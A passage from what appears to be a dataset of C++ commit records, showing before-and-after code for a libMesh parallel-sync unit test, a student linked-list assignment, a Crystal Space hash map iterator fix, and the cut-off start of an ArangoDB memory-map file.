testPushImpl(M);\n  }\n\n\n  void testPullImpl(int M)\n  {\n    const int size = TestCommWorld->size(),\n              rank = TestCommWorld->rank();\n\n    \/\/ Data to send\/recieve with each processor rank.  For this test,\n    \/\/ processor p will send to destination d the integer d, in a\n    \/\/ vector with sqrt(c)+1 copies, iff c := |p-d| is a square number.\n    std::map<processor_id_type, std::vector<unsigned int> > data, received_data;\n\n    for (int d=0; d != M; ++d)\n      {\n        int diffsize = std::abs(d-rank);\n        int diffsqrt = std::sqrt(diffsize);\n        if (diffsqrt*diffsqrt == diffsize)\n          for (int i=-1; i != diffsqrt; ++i)\n            data[d].push_back(d);\n      }\n\n    auto compose_replies =\n      []\n      (processor_id_type pid,\n       const std::vector<unsigned int> & query,\n       std::vector<unsigned int> & response)\n      {\n        const std::size_t query_size = query.size();\n        response.resize(query_size);\n        for (unsigned int i=0; i != query_size; ++i)\n          response[i] = query[i]*query[i];\n      };\n\n\n    auto collect_replies =\n      [&received_data]\n      (processor_id_type pid,\n       const std::vector<unsigned int> & query,\n       const std::vector<unsigned int> & response)\n      {\n        const std::size_t query_size = query.size();\n        CPPUNIT_ASSERT_EQUAL(query_size, response.size());\n        for (unsigned int i=0; i != query_size; ++i)\n          {\n            CPPUNIT_ASSERT_EQUAL(query[i]*query[i], response[i]);\n          }\n        received_data[pid] = response;\n      };\n\n    \/\/ Do the pull\n    unsigned int * ex = nullptr;\n    Parallel::pull_parallel_vector_data\n      (*TestCommWorld, data, compose_replies, collect_replies, ex);\n\n    \/\/ Test the received results, for each processor id p we're in\n    \/\/ charge of.\n    std::vector<std::size_t> checked_sizes(size, 0);\n    for (int p=rank; p != M; p += size)\n      for (int srcp=0; srcp != size; ++srcp)\n        {\n          int diffsize = std::abs(srcp-p);\n          int diffsqrt = std::sqrt(diffsize);\n          if (diffsqrt*diffsqrt != diffsize)\n            {\n              CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(0));\n              continue;\n            }\n\n          CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(1));\n          const std::vector<unsigned int> & datum = received_data[srcp];\n          CPPUNIT_ASSERT_EQUAL(std::count(datum.begin(), datum.end(), p*p), std::ptrdiff_t(diffsqrt+1));\n          checked_sizes[srcp] += diffsqrt+1;\n        }\n\n    for (int srcp=0; srcp != size; ++srcp)\n      CPPUNIT_ASSERT_EQUAL(checked_sizes[srcp], received_data[srcp].size());\n  }\n\n\n  void testPull()\n  {\n    const int size = TestCommWorld->size();\n\n    \/\/ Our sync functions are most typically used with a map of\n    \/\/ processor ids that *only* includes ranks currently running.\n    const int M = size;\n\n    testPullImpl(M);\n  }\n\n\n  void testPullOversized()\n  {\n    const int size = TestCommWorld->size();\n\n    \/\/ Our sync functions need to support sending to ranks that don't\n    \/\/ exist!  If we're on N processors but working on a mesh\n    \/\/ partitioned into M parts with M > N, then subpartition p\n    \/\/ belongs to processor p%N.  Let's make M > N here.\n    const int M = (size + 4) * 2;\n\n    testPullImpl(M);\n  }\n\n\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION( ParallelSyncTest );\n<commit_msg>Add push-vectors-of-vectors unit test<commit_after>\/\/ Ignore unused parameter warnings coming from cppunit headers\n#include <libmesh\/ignore_warnings.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n#include <libmesh\/restore_warnings.h>\n\n#include <libmesh\/parallel_sync.h>\n\n#include \"test_comm.h\"\n\n#include <algorithm>\n\n\/\/ THE CPPUNIT_TEST_SUITE_END macro expands to code that involves\n\/\/ std::auto_ptr, which in turn produces -Wdeprecated-declarations\n\/\/ warnings.  These can be ignored in GCC as long as we wrap the\n\/\/ offending code in appropriate pragmas.  We can't get away with a\n\/\/ single ignore_warnings.h inclusion at the beginning of this file,\n\/\/ since the libmesh headers pull in a restore_warnings.h at some\n\/\/ point.  We also don't bother restoring warnings at the end of this\n\/\/ file since it's not a header.\n#include <libmesh\/ignore_warnings.h>\n\nusing namespace libMesh;\n\nclass ParallelSyncTest : public CppUnit::TestCase {\npublic:\n  CPPUNIT_TEST_SUITE( ParallelSyncTest );\n\n  \/\/ Our sync functions are most typically used with a map of\n  \/\/ processor ids that *only* includes ranks currently running.\n  CPPUNIT_TEST( testPush );\n  CPPUNIT_TEST( testPull );\n  CPPUNIT_TEST( testPushVecVec );\n\n  \/\/ Our sync functions need to support sending to ranks that don't\n  \/\/ exist!  If we're on N processors but working on a mesh\n  \/\/ partitioned into M parts with M > N, then subpartition p belongs\n  \/\/ to processor p%N.  Let's make M > N for these tests.\n\/\/  CPPUNIT_TEST( testPushOversized );\n\/\/  CPPUNIT_TEST( testPullOversized );\n\/\/  CPPUNIT_TEST( testPushVecVecOversized );\n\n  CPPUNIT_TEST_SUITE_END();\n\npublic:\n  void setUp()\n  {}\n\n  void tearDown()\n  {}\n\n  void testPushImpl(int M)\n  {\n    const int size = TestCommWorld->size(),\n              rank = TestCommWorld->rank();\n\n    \/\/ Data to send\/recieve with each processor rank.  For this test,\n    \/\/ processor p will send to destination d the integer d, in a\n    \/\/ vector with sqrt(c)+1 copies, iff c := |p-d| is a square number.\n    std::map<processor_id_type, std::vector<unsigned int> > data, received_data;\n\n    for (int d=0; d != M; ++d)\n      {\n        int diffsize = std::abs(d-rank);\n        int diffsqrt = std::sqrt(diffsize);\n        if (diffsqrt*diffsqrt == diffsize)\n          for (int i=-1; i != diffsqrt; ++i)\n            data[d].push_back(d);\n      }\n\n    auto collect_data =\n      [&received_data]\n      (processor_id_type pid,\n       const std::vector<unsigned int> & data)\n      {\n        received_data[pid] = data;\n      };\n\n    \/\/ Do the push\n    Parallel::push_parallel_vector_data(*TestCommWorld, data, collect_data);\n\n    \/\/ Test the received results, for each processor id p we're in\n    \/\/ charge of.\n    std::vector<std::size_t> checked_sizes(size, 0);\n    for (int p=rank; p != M; p += size)\n      for (int srcp=0; srcp != size; ++srcp)\n        {\n          int diffsize = std::abs(srcp-p);\n          int diffsqrt = std::sqrt(diffsize);\n          if (diffsqrt*diffsqrt != diffsize)\n            {\n              CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(0));\n              continue;\n            }\n\n          CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(1));\n          const std::vector<unsigned int> & datum = received_data[srcp];\n          CPPUNIT_ASSERT_EQUAL(std::count(datum.begin(), datum.end(), p), std::ptrdiff_t(diffsqrt+1));\n          checked_sizes[srcp] += diffsqrt+1;\n        }\n\n    for (int srcp=0; srcp != size; ++srcp)\n      CPPUNIT_ASSERT_EQUAL(checked_sizes[srcp], received_data[srcp].size());\n  }\n\n\n  void testPush()\n  {\n    testPushImpl(TestCommWorld->size());\n  }\n\n\n  void testPushOversized()\n  {\n    testPushImpl((TestCommWorld->size() + 4) * 2);\n  }\n\n\n  void testPullImpl(int M)\n  {\n    const int size = TestCommWorld->size(),\n              rank = TestCommWorld->rank();\n\n    \/\/ Data to send\/recieve with each processor rank.  For this test,\n    \/\/ processor p will send to destination d the integer d, in a\n    \/\/ vector with sqrt(c)+1 copies, iff c := |p-d| is a square number.\n    std::map<processor_id_type, std::vector<unsigned int> > data, received_data;\n\n    for (int d=0; d != M; ++d)\n      {\n        int diffsize = std::abs(d-rank);\n        int diffsqrt = std::sqrt(diffsize);\n        if (diffsqrt*diffsqrt == diffsize)\n          for (int i=-1; i != diffsqrt; ++i)\n            data[d].push_back(d);\n      }\n\n    auto compose_replies =\n      []\n      (processor_id_type pid,\n       const std::vector<unsigned int> & query,\n       std::vector<unsigned int> & response)\n      {\n        const std::size_t query_size = query.size();\n        response.resize(query_size);\n        for (unsigned int i=0; i != query_size; ++i)\n          response[i] = query[i]*query[i];\n      };\n\n\n    auto collect_replies =\n      [&received_data]\n      (processor_id_type pid,\n       const std::vector<unsigned int> & query,\n       const std::vector<unsigned int> & response)\n      {\n        const std::size_t query_size = query.size();\n        CPPUNIT_ASSERT_EQUAL(query_size, response.size());\n        for (unsigned int i=0; i != query_size; ++i)\n          {\n            CPPUNIT_ASSERT_EQUAL(query[i]*query[i], response[i]);\n          }\n        received_data[pid] = response;\n      };\n\n    \/\/ Do the pull\n    unsigned int * ex = nullptr;\n    Parallel::pull_parallel_vector_data\n      (*TestCommWorld, data, compose_replies, collect_replies, ex);\n\n    \/\/ Test the received results, for each processor id p we're in\n    \/\/ charge of.\n    std::vector<std::size_t> checked_sizes(size, 0);\n    for (int p=rank; p != M; p += size)\n      for (int srcp=0; srcp != size; ++srcp)\n        {\n          int diffsize = std::abs(srcp-p);\n          int diffsqrt = std::sqrt(diffsize);\n          if (diffsqrt*diffsqrt != diffsize)\n            {\n              CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(0));\n              continue;\n            }\n\n          CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(1));\n          const std::vector<unsigned int> & datum = received_data[srcp];\n          CPPUNIT_ASSERT_EQUAL(std::count(datum.begin(), datum.end(), p*p), std::ptrdiff_t(diffsqrt+1));\n          checked_sizes[srcp] += diffsqrt+1;\n        }\n\n    for (int srcp=0; srcp != size; ++srcp)\n      CPPUNIT_ASSERT_EQUAL(checked_sizes[srcp], received_data[srcp].size());\n  }\n\n\n  void testPull()\n  {\n    testPullImpl(TestCommWorld->size());\n  }\n\n\n  void testPullOversized()\n  {\n    testPullImpl((TestCommWorld->size() + 4) * 2);\n  }\n\n\n  void testPushVecVecImpl(int M)\n  {\n    const int size = TestCommWorld->size(),\n              rank = TestCommWorld->rank();\n\n    \/\/ Data to send\/recieve with each processor rank.  For this test,\n    \/\/ processor p will send to destination d the integer d, in two\n    \/\/ subvectors with sqrt(c) and 1 copies, iff c := |p-d| is a\n    \/\/ square number.\n    std::map<processor_id_type, std::vector<std::vector<unsigned int>>> data, received_data;\n\n    for (int d=0; d != M; ++d)\n      {\n        int diffsize = std::abs(d-rank);\n        int diffsqrt = std::sqrt(diffsize);\n        if (diffsqrt*diffsqrt == diffsize)\n          {\n            data[d].resize(2);\n            for (int i=-1; i != diffsqrt; ++i)\n              data[d][0].push_back(d);\n            data[d][1].push_back(d);\n          }\n      }\n\n    auto collect_data =\n      [&received_data]\n      (processor_id_type pid,\n       const std::vector<std::vector<unsigned int>> & data)\n      {\n        received_data[pid] = data;\n      };\n\n    \/\/ Do the push\n    Parallel::push_parallel_vector_data(*TestCommWorld, data, collect_data);\n\n    \/\/ Test the received results, for each processor id p we're in\n    \/\/ charge of.\n    std::vector<std::size_t> checked_sizes(size, 0);\n    for (int p=rank; p != M; p += size)\n      for (int srcp=0; srcp != size; ++srcp)\n        {\n          int diffsize = std::abs(srcp-p);\n          int diffsqrt = std::sqrt(diffsize);\n          if (diffsqrt*diffsqrt != diffsize)\n            {\n              CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(0));\n              continue;\n            }\n\n          CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(1));\n          CPPUNIT_ASSERT_EQUAL(received_data[srcp].size(), std::size_t(2));\n          const std::vector<unsigned int> & datum = received_data[srcp][0];\n          CPPUNIT_ASSERT_EQUAL(std::count(datum.begin(), datum.end(), p), std::ptrdiff_t(diffsqrt+1));\n          checked_sizes[srcp] += diffsqrt+1;\n          CPPUNIT_ASSERT_EQUAL(received_data[srcp][1].size(), std::size_t(1));\n          CPPUNIT_ASSERT_EQUAL(int(received_data[srcp][1][0]), p);\n        }\n\n    for (int srcp=0; srcp != size; ++srcp)\n      CPPUNIT_ASSERT_EQUAL(checked_sizes[srcp], received_data[srcp].size());\n  }\n\n\n  void testPushVecVec()\n  {\n    testPushVecVecImpl(TestCommWorld->size());\n  }\n\n\n  void testPushVecVecOversized()\n  {\n    testPushVecVecImpl((TestCommWorld->size() + 4) * 2);\n  }\n\n};\n\nCPPUNIT_TEST_SUITE_REGISTRATION( ParallelSyncTest );\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n * =========================================================================================\r\n * Name        : processData.cpp\r\n * Description : student code for Assignment 1 - Data structures and Algorithms - Fall 2017\r\n * =========================================================================================\r\n *\/\r\n#include \"eventLib.h\"\r\n#include \"dbLib.h\"\r\n#define ID_MAX_LENGTH   10\r\n\r\nbool processEvent(ninjaEvent_t& event, L1List<NinjaInfo_t>& nList,void* pGData)  {\r\n    \/\/ TODO: Your code comes here\r\n\r\n    \/\/\/ NOTE: The output of the event will be printed on one line\r\n    \/\/\/ end by the endline character.\r\n    return true;\r\n}\r\n\r\n\r\nvoid processEvent_0(){\r\n\r\n}\r\n\r\nvoid processEvent_1(L1List<NinjaInfo_t>& nList){\r\n\tcout << \"1:\" << nList.getHead()->data.id << endl;\r\n}\r\n\r\nvoid processEvent_2(L1List<NinjaInfo_t>& nList){\r\n\tcout <<\"2:\" << nList.getLast()->data.id <<endl;\r\n}\r\n\r\nvoid processEvent_3(L1List<NinjaInfo_t>& nList){\r\n\tL1List<char[ID_MAX_LENGTH]>* ninjaid = new L1List<char[ID_MAX_LENGTH]>();\r\n}\r\n\r\n<commit_msg>small update processData<commit_after>\/*\r\n * =========================================================================================\r\n * Name        : processData.cpp\r\n * Description : student code for Assignment 1 - Data structures and Algorithms - Fall 2017\r\n * =========================================================================================\r\n *\/\r\n#include \"eventLib.h\"\r\n#include \"dbLib.h\"\r\n#define ID_MAX_LENGTH   10\r\n\r\nbool processEvent(ninjaEvent_t& event, L1List<NinjaInfo_t>& nList,void* pGData)  {\r\n    \/\/ TODO: Your code comes here\r\n\r\n    \/\/\/ NOTE: The output of the event will be printed on one line\r\n    \/\/\/ end by the endline character.\r\n    return true;\r\n}\r\n\r\n\r\nvoid processEvent_0(){\r\n\r\n}\r\n\r\nvoid processEvent_1(L1List<NinjaInfo_t>& nList){\r\n\tcout << \"1:\" << nList.getHead()->data.id << endl;\r\n}\r\n\r\nvoid processEvent_2(L1List<NinjaInfo_t>& nList){\r\n\tcout <<\"2:\" << nList.getLast()->data.id <<endl;\r\n}\r\n\r\nvoid processEvent_3(L1List<NinjaInfo_t>& nList){\r\n\tL1List<NinjaInfo_t> ninjaid;\r\n\tL1Item<NinjaInfo_t>* pHead_id = ninjaid.getHead();\/\/ lay con tro head cua list id\r\n\tL1Item<NinjaInfo_t>* temp = pHead_id;\r\n\tL1Item<NinjaInfo_t>* pHead = nList.getHead();\/\/ lay con tro head cua list ninjainfo nList\r\n\tunsigned int size;\r\n\twhile(pHead){\r\n\t\twhile(temp){\r\n\t\t\tif(strcmp(pHead->data.id,temp->data.id) == 0) break;\r\n\t\t\ttemp = temp->pNext;\r\n\t\t}\r\n\t\tif(temp == NULL) ninjaid.push_back(pHead->data);\r\n\t\tpHead = pHead->pNext;\r\n\t}\r\n\tsize = ninjaid.getSize();\r\n\tcout <<\"3:\"<<size<<endl;\r\n}\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Hash Map and hash support functions.\n    Copyright (C) 2000 by Jorrit Tyberghein\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with this library; if not, write to the Free\n    Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include <stdio.h>\n#include <string.h>\n#include \"cssysdef.h\"\n#include \"csutil\/hashmap.h\"\n\n\/\/-----------------------------------------------------------------------------\n\ninline static csHashKey rotate_bits_right_3(csHashKey h)\n{\n  return (h >> 3) | (h << 29);\n}\n\ncsHashKey csHashCompute(char const* s, int n)\n{\n  csHashKey h = 0;\n  char const* slim = s + n;\n  while (s < slim)\n    h = rotate_bits_right_3(h) + *s++;\n  return h;\n}\n\ncsHashKey csHashCompute(char const* s)\n{\n  csHashKey h = 0;\n  while (*s != 0)\n    h = rotate_bits_right_3(h) + *s++;\n  return h;\n}\n\n\/\/-----------------------------------------------------------------------------\n\ncsHashIterator::csHashIterator (csHashMap *hm)\n{\n  hash = hm;\n  bucket = NULL;\n  element_index = 0;\n  bucket_index = (uint32)-1;\n  do_iterate_key = false;\n  GotoNextElement ();\n}\n\ncsHashIterator::csHashIterator (csHashMap *hm, csHashKey hkey)\n{\n  uint32 idx = key % hm->NumBuckets;\n\n  hash = hm;\n  bucket = hm->Buckets[idx]; \/\/ NULL if bucket is empty.\n  element_index = -1;\n  bucket_index = idx;\n  key = hkey;\n  do_iterate_key = true;\n  GotoNextSameKey ();\n}\n\nbool csHashIterator::HasNext ()\n{\n  return bucket != NULL;\n}\n\nvoid csHashIterator::GotoNextElement ()\n{\n  element_index++;\n  if (!bucket || element_index >= bucket->Length ())\n  {\n    \/\/ Next bucket.\n    bucket_index++;\n    uint32 const nbuckets = (uint32)hash->Buckets.Length();\n    while (bucket_index < nbuckets && !hash->Buckets[bucket_index])\n      bucket_index++;\n    if (bucket_index >= nbuckets)\n      bucket = NULL;\t\/\/ The end\n    else\n    {\n      bucket = hash->Buckets[bucket_index];\n      element_index = 0;\n    }\n  }\n}\n\nvoid csHashIterator::GotoNextSameKey ()\n{\n  if (!bucket) return;\n  element_index++;\n  while (element_index < bucket->Length () &&\n  \tbucket->Get(element_index)->key != key)\n  {\n    element_index++;\n  }\n  if (element_index >= bucket->Length ()) bucket = NULL;\n}\n\ncsHashObject csHashIterator::Next ()\n{\n  if (bucket == NULL) return NULL;\n  csHashObject obj = ((csHashElement*)((*bucket)[element_index]))->object;\n  if (do_iterate_key) GotoNextSameKey ();\n  else GotoNextElement ();\n  return obj;\n}\n\nvoid csHashIterator::DeleteNext ()\n{\n  \/\/ @@@ Not yet implemented.\n}\n\n\/\/-----------------------------------------------------------------------------\n\ncsHashMap::csHashMap (uint32 size)\n{\n  NumBuckets = size;\n  Buckets.SetLength (size);\n  for (uint32 i = 0 ; i < size ; i++)\n    Buckets[i] = NULL;\n}\n\ncsHashMap::~csHashMap ()\n{\n  DeleteAll ();\n}\n\nvoid csHashMap::Put (csHashKey key, csHashObject object)\n{\n  uint32 idx = key % NumBuckets;\n  if (!Buckets[idx]) Buckets[idx] = new csHashBucket ();\n  csHashBucket* bucket = Buckets[idx];\n  csHashElement* element = new csHashElement ();\n  element->key = key;\n  element->object = object;\n  bucket->Push (element);\n}\n\ncsHashObject csHashMap::Get (csHashKey key) const\n{\n  uint32 idx = key % NumBuckets;\n  if (!Buckets[idx]) return NULL;\n  csHashBucket* bucket = Buckets[idx];\n  for (int i = 0 ; i < bucket->Length () ; i++)\n  {\n    csHashElement* element = bucket->Get(i);\n    if (element->key == key) return element->object;\n  }\n  return NULL;\n}\n\nvoid csHashMap::DeleteAll (csHashKey key)\n{\n  uint32 idx = key % NumBuckets;\n  if (!Buckets[idx]) return;\n  csHashBucket* bucket = Buckets[idx];\n  for (uint32 i = bucket->Length () ; i-- > 0 ; )\n  {\n    csHashElement* element = bucket->Get(i);\n    if (element->key == key)\n      bucket->Delete (i);\n  }\n}\n\nvoid csHashMap::DeleteAll ()\n{\n  for (uint32 b = Buckets.Length () ; b-- > 0 ; )\n  {\n    delete Buckets[b];\n    Buckets[b] = NULL;\n  }\n}\n\n\/\/-----------------------------------------------------------------------------\n\ncsHashSet::csHashSet (uint32 size) : map (size)\n{\n}\n\nvoid csHashSet::Add (csHashObject object)\n{\n  if (In (object)) return;\n  AddNoTest (object);\n}\n\nvoid csHashSet::AddNoTest (csHashObject object)\n{\n  csHashKey key = (csHashKey)object;\n  map.Put (key, object);\n}\n\nbool csHashSet::In (csHashObject object)\n{\n  csHashKey key = (csHashKey)object;\n  csHashIterator it (&map, key);\n  while (it.HasNext ())\n  {\n    csHashObject obj = it.Next ();\n    if (obj == object)\n      return true;\n  }\n  return false;\n}\n\nvoid csHashSet::DeleteAll ()\n{\n  map.DeleteAll ();\n}\n\nvoid csHashSet::Delete (csHashObject)\n{\n}\n<commit_msg>fixed a bug in the hashmap iterator code<commit_after>\/*\n    Hash Map and hash support functions.\n    Copyright (C) 2000 by Jorrit Tyberghein\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with this library; if not, write to the Free\n    Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include <stdio.h>\n#include <string.h>\n#include \"cssysdef.h\"\n#include \"csutil\/hashmap.h\"\n\n\/\/-----------------------------------------------------------------------------\n\ninline static csHashKey rotate_bits_right_3(csHashKey h)\n{\n  return (h >> 3) | (h << 29);\n}\n\ncsHashKey csHashCompute(char const* s, int n)\n{\n  csHashKey h = 0;\n  char const* slim = s + n;\n  while (s < slim)\n    h = rotate_bits_right_3(h) + *s++;\n  return h;\n}\n\ncsHashKey csHashCompute(char const* s)\n{\n  csHashKey h = 0;\n  while (*s != 0)\n    h = rotate_bits_right_3(h) + *s++;\n  return h;\n}\n\n\/\/-----------------------------------------------------------------------------\n\ncsHashIterator::csHashIterator (csHashMap *hm)\n{\n  hash = hm;\n  bucket = NULL;\n  element_index = 0;\n  bucket_index = (uint32)-1;\n  do_iterate_key = false;\n  GotoNextElement ();\n}\n\ncsHashIterator::csHashIterator (csHashMap *hm, csHashKey hkey)\n{\n  uint32 idx = hkey % hm->NumBuckets;\n\n  hash = hm;\n  bucket = hm->Buckets[idx]; \/\/ NULL if bucket is empty.\n  element_index = -1;\n  bucket_index = idx;\n  key = hkey;\n  do_iterate_key = true;\n  GotoNextSameKey ();\n}\n\nbool csHashIterator::HasNext ()\n{\n  return bucket != NULL;\n}\n\nvoid csHashIterator::GotoNextElement ()\n{\n  element_index++;\n  if (!bucket || element_index >= bucket->Length ())\n  {\n    \/\/ Next bucket.\n    bucket_index++;\n    uint32 const nbuckets = (uint32)hash->Buckets.Length();\n    while (bucket_index < nbuckets && !hash->Buckets[bucket_index])\n      bucket_index++;\n    if (bucket_index >= nbuckets)\n      bucket = NULL;\t\/\/ The end\n    else\n    {\n      bucket = hash->Buckets[bucket_index];\n      element_index = 0;\n    }\n  }\n}\n\nvoid csHashIterator::GotoNextSameKey ()\n{\n  if (!bucket) return;\n  element_index++;\n  while (element_index < bucket->Length () &&\n  \tbucket->Get(element_index)->key != key)\n  {\n    element_index++;\n  }\n  if (element_index >= bucket->Length ()) bucket = NULL;\n}\n\ncsHashObject csHashIterator::Next ()\n{\n  if (bucket == NULL) return NULL;\n  csHashObject obj = ((csHashElement*)((*bucket)[element_index]))->object;\n  if (do_iterate_key) GotoNextSameKey ();\n  else GotoNextElement ();\n  return obj;\n}\n\nvoid csHashIterator::DeleteNext ()\n{\n  \/\/ @@@ Not yet implemented.\n}\n\n\/\/-----------------------------------------------------------------------------\n\ncsHashMap::csHashMap (uint32 size)\n{\n  NumBuckets = size;\n  Buckets.SetLength (size);\n  for (uint32 i = 0 ; i < size ; i++)\n    Buckets[i] = NULL;\n}\n\ncsHashMap::~csHashMap ()\n{\n  DeleteAll ();\n}\n\nvoid csHashMap::Put (csHashKey key, csHashObject object)\n{\n  uint32 idx = key % NumBuckets;\n  if (!Buckets[idx]) Buckets[idx] = new csHashBucket ();\n  csHashBucket* bucket = Buckets[idx];\n  csHashElement* element = new csHashElement ();\n  element->key = key;\n  element->object = object;\n  bucket->Push (element);\n}\n\ncsHashObject csHashMap::Get (csHashKey key) const\n{\n  uint32 idx = key % NumBuckets;\n  if (!Buckets[idx]) return NULL;\n  csHashBucket* bucket = Buckets[idx];\n  for (int i = 0 ; i < bucket->Length () ; i++)\n  {\n    csHashElement* element = bucket->Get(i);\n    if (element->key == key) return element->object;\n  }\n  return NULL;\n}\n\nvoid csHashMap::DeleteAll (csHashKey key)\n{\n  uint32 idx = key % NumBuckets;\n  if (!Buckets[idx]) return;\n  csHashBucket* bucket = Buckets[idx];\n  for (uint32 i = bucket->Length () ; i-- > 0 ; )\n  {\n    csHashElement* element = bucket->Get(i);\n    if (element->key == key)\n      bucket->Delete (i);\n  }\n}\n\nvoid csHashMap::DeleteAll ()\n{\n  for (uint32 b = Buckets.Length () ; b-- > 0 ; )\n  {\n    delete Buckets[b];\n    Buckets[b] = NULL;\n  }\n}\n\n\/\/-----------------------------------------------------------------------------\n\ncsHashSet::csHashSet (uint32 size) : map (size)\n{\n}\n\nvoid csHashSet::Add (csHashObject object)\n{\n  if (In (object)) return;\n  AddNoTest (object);\n}\n\nvoid csHashSet::AddNoTest (csHashObject object)\n{\n  csHashKey key = (csHashKey)object;\n  map.Put (key, object);\n}\n\nbool csHashSet::In (csHashObject object)\n{\n  csHashKey key = (csHashKey)object;\n  csHashIterator it (&map, key);\n  while (it.HasNext ())\n  {\n    csHashObject obj = it.Next ();\n    if (obj == object)\n      return true;\n  }\n  return false;\n}\n\nvoid csHashSet::DeleteAll ()\n{\n  map.DeleteAll ();\n}\n\nvoid csHashSet::Delete (csHashObject)\n{\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief memory mapped files in posix\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Oreste Costa-Panaia\n\/\/\/ @author Copyright 2014, ArangoDB GmbH, Cologne, Germany\n\/\/\/ @author Copyright 2012-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"memory-map.h\"\n\n#ifdef TRI_HAVE_POSIX_MMAP\n\n#include \"Basics\/logging.h\"\n#include \"Basics\/tri-strings.h\"\n\n#include <sys\/mman.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief flush memory mapped file to disk\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_FlushMMFile (int fileDescriptor,\n                     void* startingAddress,\n                     size_t numOfBytesToFlush,\n                     int flags) {\n\n  \/\/ ...........................................................................\n  \/\/ Possible flags to send are (based upon the Ubuntu Linux ASM include files:\n  \/\/ #define MS_ASYNC        1             \/* sync memory asynchronously *\/\n  \/\/ #define MS_INVALIDATE   2               \/* invalidate the caches *\/\n  \/\/ #define MS_SYNC         4               \/* synchronous memory sync *\/\n  \/\/ Note: under windows all flushes are achieved synchronously\n  \/\/ ...........................................................................\n\n  int res = msync(startingAddress, numOfBytesToFlush, flags);\n\n#ifdef __APPLE__\n  if (res == 0) {\n    res = fcntl(fileDescriptor, F_FULLFSYNC, 0);\n  }\n#endif\n\n  if (res == 0) {\n    \/\/ msync was successful\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  if (errno == ENOMEM) {\n    \/\/ we have synced a region that was not mapped\n\n    \/\/ set a special error. ENOMEM (out of memory) is not appropriate\n    LOG_ERROR(\"msync failed for range %p - %p\", startingAddress, (void*) (((char*) startingAddress) + numOfBytesToFlush));\n\n    return TRI_ERROR_ARANGO_MSYNC_FAILED;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief memory map a 